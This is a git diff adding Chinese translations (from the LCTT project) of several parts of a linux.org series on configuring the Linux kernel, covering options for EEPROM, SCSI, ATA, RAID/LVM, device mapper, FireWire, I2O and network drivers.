-为了内核在电源/睡眠按钮按下或者盖子合上时表现不同,启用这个选项(Button)。这些事件在/proc/acpi/event/中控制。比如,这样的行为如果在用户账户电源选项启用时,当笔记本电脑的盖子关闭后系统将会挂起。 - -下一个ACPI扩展是对视频适配器的(Video)。 - -ACPI风扇可以被启用/禁用(Fan)。最好启用ACPI风扇管理。这有助于保存能源。 - -我们正在进一步配置内核中,但在接下来的文章中还有更多要做。 - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-5.4424/ - -译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/The Linux Kernel/16 The Linux Kernel--Configuring the Kernel Part 12.md b/translated/The Linux Kernel/16 The Linux Kernel--Configuring the Kernel Part 12.md new file mode 100644 index 0000000000..38d334c92a --- /dev/null +++ b/translated/The Linux Kernel/16 The Linux Kernel--Configuring the Kernel Part 12.md @@ -0,0 +1,124 @@ +戴文的Linux内核专题:16 配置内核 (12) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.539/) + +欢迎来享受Linux内核配置系列下一部分。如你所猜到的那样,内核支持大量不同的硬件、协议和特性。 + +下一组我们要讨论的特性是"EEPROM support"。电可擦除可编程只读存储器(Electrically Erasable Programmable Read-Only Memory)是一种掉电或者意外关闭后不会擦除内容的存储器。 + +内核支持在I2C卡上的EEPROM芯片包括FRAMs、ROMs和SRAMs (I2C EEPROMs / RAMs / ROMs 来自多数供货商)。FRAM(同样也称作FeRAM是一种使用铁电原理而不是电介质存储数据的随机访问存储芯片)。ROM芯片是只读(Read Only Memory)芯片。SRAM是静态而不是动态存储器就像DRAM。DRAN必须被刷新以保留数据而SRAM不需要刷新。然而,两者都会在电源关闭或者丢失时失去数据。 + +内核支持SPI总线的EEPROM(SPI EEPROMs from most vendors)。串行外设接口总线(Serial Peripheral Interface Bus (SPI))是一个缺乏错误检测的全双工总线系统。 + +老式的I2C EEPROM芯片需要一个除了上面I2C驱动的驱动(Old I2C EEPROM reader)。I2C总线用于嵌入式系统和电话,由于它用的是低速总线协议。 + +这个特性用来防止Maxim的可编程EEPROM变成只读模式(Maxim MAX6874/5 power supply supervisor)。特别地,这驱动提供对这个芯片的更好的电源管理。 + +这里还有一个驱动"EEPROM 93CX6 support","Microwire EEPROM 93XX46 support"和"ENE CB710/720 Flash memory card reader support"。 + +和其他内核特性一样,这里有一个对于EEPROM的调试特性(Enable driver debugging)。再说一次,为了更好的性能,禁用调试特性。 + +下面,我们有一个TI特性(Shared transport core driver)。这个驱动提供对于BT/FM和GPS芯片的传输协议。 + +下面的驱动支持I2C LIS3LV02Dx加速度计(STMicroeletronics LIS3LV02Dx three-axis digital accelerometer (I2C))。设备提供的数据存储在/sys/devices/platform/lis3lv02d。 + +下一步, Linux提供了下载固件到Altera的FPGA的模块(Altera FPGA firmware download module)。FPGA就是现在可编程门阵列(field-programmable gate array)。它们是可编程集成电路。 + +Intel Management Engine Interface"提供Intel芯片的安全和其他服务。 + +"ME Enabled Intel Chipsets"可以支持MEI。MEI是"Management Engine Interface"(管理引擎接口)。这个驱动支持有MEI服务的芯片组。 + +"VMware VMCI Driver"是一种用于客户机和宿主机中继通信的高速虚拟设备。VMCI代表的是"Virtual Machine Communication Interface"(虚拟机通信接口)。 + +下面, "ATA/ATAPI/MFM/RLL support"可以启用/禁用。MFM (Modified Frequency Modulation)是一种特殊的编码软驱位的方法。然而,这并不工作在所有的软驱上。MFM使用RLL(Run-Length Limited)编码制式。RLL通过有带宽限制的系统通信转换数据。ATAPI是先前提过的"ATA Packet Interface",同时ATA也在讨论接口标准的时候讨论过。 + +现在我们将讨论SCSI支持。小型计算机接口(Small Computer System Interface (SCSI))是另外一种SATA的接口标准。USB和火线设备使用SCSI协议。 + +第一个SCSI设定关于"RAID Transport Class"。这允许RAID使用SCSI标准。 + +为了使用SCSI目标,启用这个特性(SCSI target support)。 + +如果系统会运行旧的Linux应用,系统可能需要"legacy /proc/scsi/ support"。这会在/proc/scsi创建SCSI文件。 + +为了支持SCSI磁盘,启用下一个特性(SCSI disk support)。这是一个通用驱动。 + +为了支持SCSI磁带,启用这个特性(SCSI tape support)。这是一个通用驱动。SCSI磁带驱动器在像磁带的磁性条上记录数据。 + +OnStream SCSI磁带需要这个驱动而不是前面提到SCSI通用驱动SCSI OnStream SC-x0 tape support)。 + +"对于SCSI CDROM support",一些CD-ROM使用SCSI协议。 + +下面, 用户可以启用"Enable vendor-specific extensions (for SCSI CDROM)"。 + +这是一个对于大量不同SCSI设备的通用驱动(SCSI generic support)。这主要用于SCSI扫描仪和其他不被上面提到的SCSI驱动支持的设备或者那些之后会讨论的设备。 + +一些SCSI点唱机需要这个SCSI驱动(SCSI media changer support)。 + +Linux内核提供"SCSI Enclosure Support"。SCSI附件是一种管理电源和制冷SCSI设备同时提供不关于数据的服务的设备。 + +Linux内核应该设置为每个SCSI设备搜索全部的逻辑单元号(Logical Unit Numbers (LUN))(Probe all LUNs on each SCSI device)。LUN是SCSI地址。 + +这有额外的对于SCSI的错误报告(Verbose SCSI error reporting (kernel size +=12K))。这会明显地增加内核的大小。 + +这里还有一个SCSI日志系统(SCSI logging facility)。 + +为了增强你的系统,启用这个特性会允许SCSI在系统启动时就被探测到而不是先启用再探测(Asynchronous SCSI scanning)。大多数系统可以一次执行这两个任务,因此为什么允许这项? 对于那些连接了很多SCSI设备的硬件,这个会明显加快启动速度。 + +下面,"Parallel SCSI (SPI) Transport Attributes"(传统的并行SCSI)允许每个SCSI设备发送传输信息给sysfs。一些系统需要这个特性。 + +下面的特性和上面提到的一样,但是发送光纤通道设备的传输信息(FiberChannel Transport Attributes)(光纤通道接口)。光线通道设备使用SCSI。 + +下面用户可以启用/禁用"SCSI target support for FiberChannel Transport Attributes"(为光纤通道添加"target"模式驱动)。 + +iSCSI设备和SAS设备的传输数据可以导出到sysfs(iSCSI Transport Attributes)和SAS Transport Attributes)。SAS代表的的是"Serial Attached SCSI"(串行链接SCSI)。 + +下面,ATA支持被加入libsas(ATA support for libsas (requires libata))。注意配置工具提示需要libata。为了满足这个需求,启用ATA支持。更多情况下,配置工具已经或者将会会你这么做,但是请无论再检查一下。libsas和libata是相应的支持SAS和ATA的库。 + +下面的特性允许SAS接口接收SMP帧(Support for SMP interpretation for SAS hosts)。这加入了一个SMP解释器到libsas中。然而,这不会增加内核的尺寸。SMP帧允许所有在多CPU系统上的处理器访问SAS设备。 + +SRP可以发送传输的数据给sysfs(SRP Transport Attributes)。SRP代表SCSI RDMA协议(SCSI RDMA Protocol)。RDMA代表远程直接内存访问(Remote Direct Memory Access)。这意味着SRP是一个用来访问连接到另外一台计算机的SCSI设备的数据的协议。 + +下一步,用户可以启用"SCSI target support for SRP Transport"。 + +可以启用底层SCSI驱动(SCSI low-level drivers)。这提供了很多基础驱动。 + +在这之后,用户可以启用/禁用"PCMCIA SCSI adapter support"。这个适配器允许SCSI设备连接到PC卡上。 + +这里有一些驱动用于特殊的适配器- (Future Domain PCMCIA support)、(Qlogic PCMCIA support) 、(Symbios 53c500 PCMCIA support)。 + +多路径安装的设备需要这个特性(SCSI Device Handlers)。这用在每个节点都需要一个到SCSI存储单元的直接路径的集群中。 + +下一步,"OSD-Initiator library"(OSD启动库)可以启用。这是一个提供了补丁、OSD协议、和针对SCSI设备的T10协议的SCSI驱动。 OSD代表的是基于对象的存储设备(Object-based Storage Device);下一段会讨论得更多。 + +这个特性生成一个SCSI上层用于测试和管理/dev/osdx设备(OSD Upper Level driver)。exofs使用这个驱动用于挂载基于OSD的文件系统。OSD设备不像其他存储单元一样使用块的存储设备。相反地,OSD设备存储数据在称之为对象的容器里。exofs曾经称作OSDFS。 + +如果启用了它,OSD特性提供了调试工具(Compile All OSD modules with lots of DEBUG prints)。 + +如今,我们可以讨论串行ATA和并行ATA特性和驱动了。首先启用/禁用用于调试的第一个特性(Verbose ATA error reporting)。 + +下一步,用户应该对于ATA设备启用高级配置及电源接口特性(ATA ACPI Support)。这允许内核在SATA设备上更有效地管理电源使用。 + +内核包含了对于"SATA Zero Power Optical Disc Drive (ZPODD) support"的驱动。这会在不使用时关闭SATA光盘驱动器(SATA optical disc drives (ODD))。这节约了能源以及减少损耗。 + +贴士:即使你在编译一个高性能的内核,尝试启用所有的电源管理特性。则减少了电源消耗、操作开销、热量产生(热量会降低性能),以及磨损。 + +SATA端口复用器需要这个驱动(SATA Port Multiplier support)。端口复用器是一个拥有许多端口但是自己仅需插入一个端口的设备。举例来说,如果一个硬件有一个SATA口,但是还需要更多的口,在这个口上插入端口复用器。现在设备可以有许多SATA口了。 + +下一个驱动用于AHCI SATA(AHCI SATA support)。高级主机控制器接口(Advanced Host Controller Interface (AHCI))是一种SATA总线适配器的操作标准。 + +对于要在Soc硬件上支持AHCI SATA设备,必须启用这个驱动(Platform AHCI SATA support)。Soc代表片上系统(System-on-a-Chip)。 + +下面是一些特殊设备的驱动 +Initio 162x SATA support +ACard AHCI variant (ATP 8620) +Silicon Image 3124/3132 SATA support + +再说一次,等着下一篇精彩的文章。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-12.4681/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/The Linux Kernel/17 The Linux Kernel--Configuring the Kernel Part 13.md b/translated/The Linux Kernel/17 The Linux Kernel--Configuring the Kernel Part 13.md new file mode 100644 index 0000000000..ecbd1ebae1 --- /dev/null +++ b/translated/The Linux Kernel/17 The Linux Kernel--Configuring the Kernel Part 13.md @@ -0,0 +1,129 @@ +戴文的Linux内核专题:17 配置内核 (13) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.555/) + +你好!这是Linux内核系列的下一篇,我们仍将配置ATA设备并将进入逻辑卷/存储。 + +"ATA SFF support (for legacy IDE and PATA)"应该启用,因为这扩展了ATA的能力。 + +为了支持Pacific Digital的ADMA控制器,应该启用"Pacific Digital ADMA support"。 + +"Pacific Digital Serial ATA QStor support"(串口ATA支持)在下一个驱动中支持 + +Promise的SATA SX4设备在内核中支持(Promise SATA SX4 support (Experimental))。 + +可以BMDMA的SFF ATA控制器需要这个驱动(ATA BMDMA support)。BMDMA代表总线主控直接内存访问(BMDMA stands for Bus-Master Direct Memory Access)。 + +下面,这个驱动对不同的SATA和PATA控制器提供支持Intel ESB, ICH, PIIX3, PIIX4 PATA/SATA support)。 + +这里有其他的特定设备驱动(Calxeda Highbank SATA support)、(Marvell SATA support)、(NVIDIA SATA support)、(Promise SATA TX2/TX4 support)、(Silicon Image SATA support)还有(SiS 964/965/966/180 SATA support)、(ServerWorks Frodo / Apple K2 SATA support)、(ULi Electronics SATA support)、(VIA SATA support)。。。由于有很多SATA/PATA控制器设计不同,一个通用驱动无法使用在这些设备上。 + +接下来,这个驱动支持PC卡上的ATA设备除非有特定设备管理硬件的驱动(PCMCIA PATA support)。 + +在这之后,有一个通用PATA驱动用于管理其他不被先前驱动支持的PATA设备 (Generic platform device PATA support)。 + +PATA设备的电源消耗由这个ACPI驱动管理(ACPI firmware driver for PATA)。强烈建议对系统上所有的硬件启用ACPI。虽然这会增加内核的大小,但是ACPI会增强性能。 + +"Generic ATA support"(通用ATA支持)由这个驱动提供。 + +古老的ISA、VLB和PCI总线PATA设备可以通过这个驱动支持(Legacy ISA PATA support (Experimental))。这个古老支持使用新的ATA层。 + +这组特性包含了许多对于RAID和LVM能力,可见下面的特性选项(Multiple devices driver support (RAID and LVM))。 + +有趣的事实:内核是由C和汇编写成的。 + +这个驱动允许RAID和LVM组合在一起。这用于使几个LVM卷使用RAID。分区被组合成逻辑块设备,然后形成RAID设备。 + +许多用户会希望RAID可以在启动时侦测到(Autodetect RAID arrays during kernel boot)。如果你没有RAID,那么不要启用这个特性。不然,启动处理会比原先希望的慢上几秒。 + +注意:当配置Linux内核时,最好按照"use it or lose it"(非用即失)的原则。那就是,如果你不用它,那就禁用这个特性。 + +硬盘分区可以通过这个驱动加在一起(Linear (append) mode)。 + +下面的驱动加入RAID-0支持带逻辑块设备中(RAID-0 (striping) mode)。接着还有 (RAID-1 (mirroring) mode)、(RAID-10 (mirrored striping) mode)和(RAID-4/RAID-5/RAID-6 mode)。 + +MD框架需要多路径支持(Multipath I/O support)。MD框架就是多设备(Multi Device)框架,它将多台设备作为一个单元管理。举例来说,将许多存储单元的分区组合起来可以使多个设备就像一个那样。多路径支持是用于使用处理虚拟的有多个地址的"单个设备"。因为单存储单元物理上有多件物理设备,所以它有多个硬件地址。 + +使用这个调试驱动,可以测试更大的多磁盘存储单元的bug(Faulty test module for MD)。 + +"Device mapper support"是一个用来映射逻辑扇区的卷管理器。LVM使用扇区映射。 + +如果启用的话,设备映射器可以有调试特性(Device mapper debugging support)。 + +如果需要,逻辑设备可以设置加密数据(Crypt target support)。这个特性允许用户将来加密那些存储设备。 + +只有启用了这个特性,才能使用逻辑存储单元的快照功能(Snapshot target)。 + +"Thin provisioning"(自动精简配置)允许逻辑卷设置成比组成逻辑卷的物理设备拥有更大的存储容量(Thin provisioning target)。这个特性同样为这类设备提供了快照功能。这额外的虚拟数据空间无法马上使用。这个特性的意义是允许用户在将来增加物理存储单元并且节约了配置逻辑块设备的时间。 + +用这个可以调试"Thin provisioning" (Keep stack trace of thin provisioning block lock holders)。 + +块设备性能的提升可以通过移动更多的常用数据到更快的存储单元中(Cache target (EXPERIMENTAL))。 + +卷管理器可以制成镜像逻辑卷(Mirror target)。 + +设备映射器(Device-mapper (dm))单元支持映射RAID1、RAID10、 RAID4、RAID5和RAID6(RAID 1/4/5/6/10 target)。 + +设备映射器(device-mapper)日志可以镜像到用户空间(Mirror userspace logging)。 + +"Zero target"是一个忽视写入并返回读取为零的设备。 + +接下来,卷管理器应该对硬件有多路径支持(Multipath target)。 + +这个驱动会发现最有效的到存储设备的路径来读取和写入(I/O Path Selector based on the number of in-flight I/Os)。 + +=下面的一个驱动和以上相同,但是会寻找最快路径(I/O Path Selector based on the service time)。 + +如果一个逻辑卷上的物理存储单元正忙,如果可能的话,这个特性会允许读取/写入到另一个物理卷上。 + +udev可以生成设备管理器操作事件DM uevents)。udev是/dev的设备管理器。 + +为了测试软件/硬件对偶尔失败的输入/输出任务的逻辑设备如何反映,启用这个调试特性(Flakey target)。 + +逻辑卷可以创建为一个用于验证另一个逻辑分区数据的只读存储单元(Verity target support)。 + +注意:如果你喜欢我的文章,并且如果你有Linux.org的账号,请在我的文章上点击"Like"。同样,再次分享这篇文章在Google、Twitter和/或者Facebook上。 + +ConfigFS和TCM存储引擎可以通过这个设置启用(Generic Target Core Mod (TCM) and ConfigFS Infrastructure)。ConfigFS是一个基于内存的文件系统。 + +有趣的事实:Linux内核没有"main()"函数。在程序中,main()被依赖于kernel的libc调用。内核没有main()函数是因为libc将无法启动内核。如果内核的确有main()函数,那么我们就有一个"鸡或者蛋"的问题-谁先来?另外,内核的入口点用汇编写成,这并不使用main()函数。 + +下面,"TCM/IBLOCK Subsystem Plugin for Linux/BLOCK"可以禁用或者启用。 + +接着"TCM/FILEIO Subsystem Plugin for Linux/VFS"可以启用/禁用。 + +再次,还有两个TCM特性 - (TCM/pSCSI Subsystem Plugin for Linux/SCSI) 和 (TCM Virtual SAS target and Linux/SCSI LDD fabric loopback module) + +对于ConfigFS的"Linux-iSCSI.org iSCSI Target Mode Stack"在这个驱动中支持(Linux-iSCSI.org iSCSI Target Mode Stack)。 + +下一步,可以启用/禁用"FireWire SBP-2 fabric module"。这允许一台计算机作为一个硬盘连接到另一台计算机上。 + +在这之后,我们可以配置"Fusion Message Passing Technology (MPT) device support"。 + +在那个标题下的第一个选项是一个用于并口适配器的SCSI支持的驱动(Fusion MPT ScsiHost drivers for SPI)。 + +SCSI同样也可以支持光纤通道主机适配器(Fusion MPT ScsiHost drivers for FC)和/或SAS适配器(Fusion MPT ScsiHost drivers for SAS)。 + +下一步,用户可以设置"Maximum number of scatter gather entries"。一个低的数值可以减少每个控制器实例的内存消耗。 + +下一个驱动提供了ioctl系统调用来管理MPT适配器(Fusion MPT misc device (ioctl) driver)。 + +光纤通道端口可以用这个驱动支持IP LAN的流量(Fusion MPT LAN driver)。 + +我可以读到你们的想法-你们会想到对于这个还有另外一篇文章。是的,你们想对了。请继续关注这个系列的下一篇文章。 + +如果你喜欢这个系列,请在Linux.org和/或者Google+上发表评论告诉我你有多喜欢这个系列,并且告诉我你想在今后的文章中希望看到的方面。或者给我发邮件DevynCJohnson@Gmail.com)。谢谢! + +想要更多地了解作者,请检查下面的签名栏中的链接(译注:原文所在论坛有) + +如果你已经完整地阅读了这篇文章,那么你应该已经看到单词"Facebook"三次了。如果没有,你没有阅读全部文章。 + +单词"Facebook"在这段中,上一段,和一个注解中。我打赌你阅读了上面的段落而没有通读文章来试图寻找第三个单词实例。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-13.4714/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/18 The Linux Kernel--Configuring the Kernel Part 14.md b/translated/The Linux Kernel/18 The Linux Kernel--Configuring the Kernel Part 14.md new file mode 100644 index 0000000000..e87b0c865e --- /dev/null +++ b/translated/The Linux Kernel/18 The Linux Kernel--Configuring the Kernel Part 14.md @@ -0,0 +1,118 @@ +戴文的Linux内核专题:18 配置内核 (14) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.566/) + +你好! 准备好读另一篇很酷的Linux内核文章了么? + +接下来,在我们的长期追求中,我们可以启用/禁用"Fusion MPT logging facility"。MPT代表"Message Passing Technology"(消息传递技术)。Fusion驱动是由LSI Logic公司开发。MPT一种进程间使用的特定消息策略。这个技术是同步的意味着进程将会等待所需的消息。 + +在这之后,如果计算机处理拥有火线端口就应该启用"FireWire driver stack"。如果没有,那么就没有必要去启动一个不会使用到的火线驱动。火线很像USB。不过在协议、速度、物理形状和端口布局上不同。通常上,苹果设备使用火线和USB。一些PC有火线端口,但是不像USB口那样普及。 + +一些火线控制器使用OHCI-1394规范(OHCI-1394 controllers)。如果是这样,启用这个驱动。 + +为了使用火线存储设备,启用下一个驱动(Storage devices (SBP-2 protocol))。这个驱动提供了火线存储单元与火线总线通信的协议(the card with the attached FireWire ports)。一些火线扫描仪同样需要这个驱动。 + +IPv4可以用在火线端口(IP networking over 1394)。IEEE 1394或者简单的"1394"就是火线。使用IPv4在火线多播有局限。 + +"Nosy"是"FireWire PCILynx"卡上的流量监控(Nosy - a FireWire traffic sniffer for PCILynx cards)。 + +下一步,可以支持I2O设备(I2O device support)。"Intelligent Input/Output (I2O)"(智能输入/输出)总线使用硬件和操作系统层的驱动。硬件驱动(hardware drivers (HDM))并不特定与任何操作系统而OS驱动(OS drivers (OSM))必须在目标操作系统上使用。OSM可以与任何HDM通信。I2O卡/总线有一个IOP- 输入/输出处理器(Input/Output Processor)。由于主CPU处理更少的数据,所以加速了系统。 + +只在缺乏SUN I2O控制器的系统上启用"Enable LCT notification"。I2C SUN固件不支持LCT通知。 +如果目标是RAID,Adaptec I2O控制器需要下一个驱动(Enable Adaptec extensions)。 + +64位的直接内存访问可以在Adaptec I2O控制器上启用(Enable 64-bit DMA)。 + +如果允许,可以配置I2O设备(I2O Configuration support)。这个特性主要用在RAID设定中。 + +可以为I2O启用支持老的输入/输出控制(Enable ioctls (OBSOLETE))。 + +可以启用I2O总线适配器的OSM软件(I2O Bus Adapter OSM)。这组OSM被用来寻找新的在其他适配器末端的I2O设备。 + +下面,可以启用I2O块设备上的OSM(I2O Block OSM)。I2O硬件上的RAID控制器需要这个OSM。 + +下面的OSM用于I2O控制器上的SCSI或者光纤通道设备。 + +如果启用了(I2O /proc support),可以通过/proc读取I2O设备的信息。 + +在启用/禁用了I2O特性,我们可以继续其他的内核特性。下面,我们看到"Macintosh device drivers"。这只对苹果设备有用。PC的Linux内核不应该有任何这些驱动启用。然而,正如许多说法都有例外一样。一些PC用户可能会使用苹果鼠标、键盘和/或者一些其他的苹果设备。再说一次,最好彻底地理解需求和正在开发的内核。 + +下一步,我们有一个用于网络的驱动(Network device support)。X11和其他的Linux软件不依赖于这个驱动,所以如果内核不会连接到另一台计算机、因特网、内联网或者网络,那么这个特性可以安全地禁用。 + +下面的驱动就像上面,但是特定于核心驱动(Network core driver support)。 + +这个驱动支持Etherchannel(Bonding driver support)。"bonding"是两条或者更多的以太网通道的融合。这也成为中继。 + +使用这个驱动(Dummy net driver support),可以在Linux中设置一个虚拟网络。虚拟网络(dummy network)就像网络中的/dev/null。任何发送给虚拟网络的数据都会永久消失,因为它会发往/dev/null。IP地址没有设置。用户可以定义他们的网络相当于/dev/null。 + +下一步,可以支持和EQL(EQL (serial line load balancing) support)。这允许两台计算机使用SLIP或者PPP协议在两条串行连接上通信。 + +光纤通道是一种用于连接存储设备到计算机的快速串行协议(Fibre Channel driver support)。 + +TMII收发器需要这个驱动(Generic Media Independent Interface device support)。MII是一种用于最高速度为100Mbit/s以太网的接口。以太网线缆用于连接到PHYceiver,这是一种以太网收发器。 + +为了通过虚拟接口组织许多以太网设备,需要"Ethernet team driver support"。 + +"MAC-VLAN support"允许用户在特定的MAC地址和某个接口上映射数据包。 + +TAP字符设备可以由MAC-VLAN接口生成(MAC-VLAN based tap driver)。TAP设备从内核中获取数据包,这样它们就可以被送往其他地方。 + +下一个特性允许虚拟vxvlan接口在3层网络上创建2层网络(Virtual eXtensible Local Area Network (VXLAN))。这通常用于隧道虚拟网络。 + +内核发送给网络的消息可任意通过这个特性记录下来(Network console logging support)。除非记录网络信息对你很重要时才启用它。禁用这个特性会增强性能。 + +这个特性允许不同参数被改变(Dynamic reconfiguration of logging targets)。这些参数包括端口号、MAC地址、IP地址和其他一些设定。 + +如果用户空间程序希望使用TAP设备,那么启用这个特性可以允许这样的活动(Universal TUN/TAP device driver support)。 + +这个驱动用于本地以太网隧道(Virtual ethernet pair device)。 + +"Virtio network driver"用于QEMU、Xen、KVM和其他虚拟机。 + +下一步,可以启用"ARCnet support"。ARCnet是一种类似令牌环本地局域网络(Local-Area-Network (LAN)协议。ARCnet代表"Attached Resource Computer Network"(附加资源计算器网络)。 + +现在,我们进入到"ATM drivers"。ATM代表"Asynchronous Transfer Mode"(异步传输模式)。ATM用于电信。 + +Marevell以太网交换机芯片需要这个驱动(Marvell 88E6060 ethernet switch chip support)。同样,这类交换机的芯片同样需要依赖模型(Marvell 88E6085/6095/6095F/6131 ethernet switch chip support)和(Marvell 88E6123/6161/6165 ethernet switch chip support)。 + +现在,我们可以学习关于"Ethernet driver support"。 + +首先我们可以启用/禁用"3Com devices"。接下来允许内核开发者选择支持哪些3Com设备。 + +下一组选项是对于不同的"Adaptec devices"和接下来的"Alteon devices"。 + +这些只是特定设备/供应商驱动。通常地,这些驱动被作为模块加入。 + +在设置了这两组选项后,接下来还有"AMD devices"和"Atheros devices"。 + +注意:请记住内核会运行在哪类硬件上。对于大量不同的设备,或许最好把它们作为模块加入 + +这里有不同特定供货商的设备驱动-"Cadence devices"、"Broadcom devices"、"Brocade devices"、"Chelsio devices"、"Cisco devices"、"Digital Equipment devices"。一些其他的特定设备/供应商驱动遵循它们。 + +接下来的驱动并不是特定设备/供应商的 "SLIP (serial line) support"。这个驱动支持SLIP和CSLIP。SLIP(Serial Line Internet Protocol)是一种用于调制解调器和串口的因特网驱动。PPP现在用来代替SLIP。CSLIP是压缩的SLIP。 + +下面,"CSLIP compressed headers"可以启用用来压缩TCP/IP头。CSLIP快于SLIP,但是想要启用CSLIP,传输和接收的计算机都必须理解CSLIP。 + +当在恶劣的模拟线路上使用SLIP时,最好启用"Keepalive and linefill",这会帮助保持连接。 + +对于质量差的网络或者7bit网络中运行IP而言,最好启用"Six bit SLIP encapsulation"。 + +现在我们可以进入流行的USB系统,但是这些是用于网络的USB驱动。 + +第一个启用/禁用的USB网络设备是"USB CATC NetMate-based Ethernet device support"。这是用于10Mbps的USB以太网EL1210A芯片设备。USB设备将会扮演和成为一个以太网设备即使硬件是USB。 + +接下来,除了设备是KLSI KL5KUSB101B芯片组(USB KLSI KL5USB101-based ethernet device support),其他与上面的驱动一样。 + +Pegasus USB是USB转以太网的适配器/转换器(USB Pegasus/Pegasus-II based ethernet device support)。 + +接下来是另外一个USB转以太网驱动(USB RTL8150 based ethernet device support)。 + +下一篇文章中,我们将继续配置USB网络系统。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-14.4765/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/19 The Linux Kernel--Configuring the Kernel Part 15.md b/translated/The Linux Kernel/19 The Linux Kernel--Configuring the Kernel Part 15.md new file mode 100644 index 0000000000..ea0997f51e --- /dev/null +++ b/translated/The Linux Kernel/19 The Linux Kernel--Configuring the Kernel Part 15.md @@ -0,0 +1,121 @@ +戴文的Linux内核专题:19 配置内核 (15) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.578/) + +你好!在这篇Linux系列文章中,我们将继续配置USB网络驱动。接着我们将进入输入设备。 + +首先,我们可以启用/禁用"Multi-purpose USB Networking Framework",这允许连接笔记本到桌面系统上。 + +下面,可以启用/禁用ASIX USB-to-Ethernet适配器驱动(ASIX AX88xxx Based USB 2.0 Ethernet Adapters)。 + +那么,还有一个ASIX适配器驱动(ASIX AX88179/178A USB 3.0/2.0 to Gigabit Ethernet)。 + +注意:通常地,最好将适配器驱动作为模块加入。 + +通信设备类规范(Communication Device Class specification)在这个驱动中提供(CDC Ethernet support (smart devices such as cable modems))。这个规范用于USB调制解调器。Linux系统可以将USB网络接口识别为以太网网络接口并且指定为"ethX",这里的"X"是以太设备编号。 + +下面是一个与上面类似的规范(CDC EEM support)。CDC EEM代表的是"Communication Device Class Ethernet Emulation Model"(通信设备类以太网仿真模型)。 + +CDC网络控制模型(NCM)同样有一个驱动提供了规范(CDC NCM support)。 + +这个驱动提供了"CDC MBIM (Mobile Broadband Interface Model)"规范同样也在Linux内核中(CDC MBIM support)。 + +下面,有一些供货商/设备特定驱动用于不同的USB网络设备和芯片组。 + +在这之后,有一个用于USB网络设备的通用驱动,它不需要任何特殊的驱动(Simple USB Network Links (CDC Ethernet subset))。 + +再说一次,还有更多的驱动用于供货商特定设备。 + +有趣的事实:Linux被用于制作James Cameron的电影"泰坦尼克"的特效。 + +"CDC Phonet support"是用于使用Phonet的Nokia USB调制解调器。(译注:Phonet是Nokia开发的面向数据包的通信协议,仅用于Nokia maemo/meego产品) + +现在,我们可以进入使用802.11规范的无线局域网驱动了。 + +主要地,这里有一个供货商/设备特定驱动列表。 + +"SoftLED Support"控制着关于Wifi卡/设备的LED灯。 + +一些芯片组支持的SDIO在这个驱动中(Atheros ath6kl SDIO support)。SDIO是用于无线SD卡的SD(Secure Digital)规范的扩展。SDIO代表的是"Secure Digital Input/Output" + +内核开发者可能注意到一些无线设备可以支持QoS。QoS代表"Quality of Service"(服务质量)。这个特性给予网络传输优先级。假设需要通过网络传输两组数据。只有一个可以先发送。QoS会先发送最重要的数据。 + +有趣的事实:技术上来说,Linux并不是一个操作系统。Linux是一种内核而GNU/Linux是操作系统。。 + +WAN卡需要"Generic HDLC layer"。HDLC代表"High-Level Data Link Control"(高级数据链路控制)。这是一个数据链路层协议。 + +原生HDLC可以通过"Raw HDLC support"驱动启用。 + +"Raw HDLC Ethernet device support"驱动允许HDLC层模拟以太网。 + +cHDLC驱动提供了一个HDLC的扩展,同样也称作Cisco HDLC(Cisco HDLC support)。 + +Linux内核同样也提供了一个HDLC的"Frame Relay support"(帧中继)驱动。帧中继是2层协议。 + +HDLC同样支持PPP(Synchronous Point-to-Point Protocol (PPP) support)和X.25(X.25 protocol support)。 + +接下来,这个驱动提供了DLCI下的帧中继(Frame Relay DLCI support)。 + +"LAPB over Ethernet driver"创建一个允许用户在以太网上使用LAPB的点到点连接到另一台计算机的设备文件。这个设备文件对于第一个此类设备通常是/dev/lapb0。 + +用这个驱动,X.25帧可以通过电话线发送(X.25 async driver)。特别地,这个驱动允许X.25使用异步串行。 + +对于ISA SBNI12-xx有一种特殊的驱动(Granch SBNI12 Leased Line adapter support)。这种卡对于租用线路的调制解调器是一种便宜的替代。 + +下一个驱动允许使用并行连接携带已安排的流量(Multiple line feature support)。这允许Linux系统更加有效地在SBNI12适配器上管理并行连接。一些Linux用户声称这个驱动双倍加速了他们的速度。然而,这个我没有亲身测试了解。 + +接下来,可以配置"IEEE 802.15.4 drivers"。这个是对于慢速WAN设备。这是一个控制媒体和无线网络物理层的标准。这个规范在不同的大洲使用不同的频率。不如,在欧洲,这类无线设备会使用868.0-868.6MHz的频率。 + +这个目录中的第一个设定是fake LR-WPAN驱动(Fake LR-WPAN driver with several interconnected devices)。LR-WPAN代表"Low-Rate Wireless Personal Area Network"(低速无线个人网络)。 + +有趣的事实:目前内核中只有大约2%的代码是由Linus Torvalds写的。 + +VMware使用vmxnet3虚拟以太网需要这个驱动(VMware VMXNET3 ethernet driver)。当在为大量用户编译内核时,最好将这个启用为一个模块,因为一些人可能并不希望在VMware上使用以太网。 + 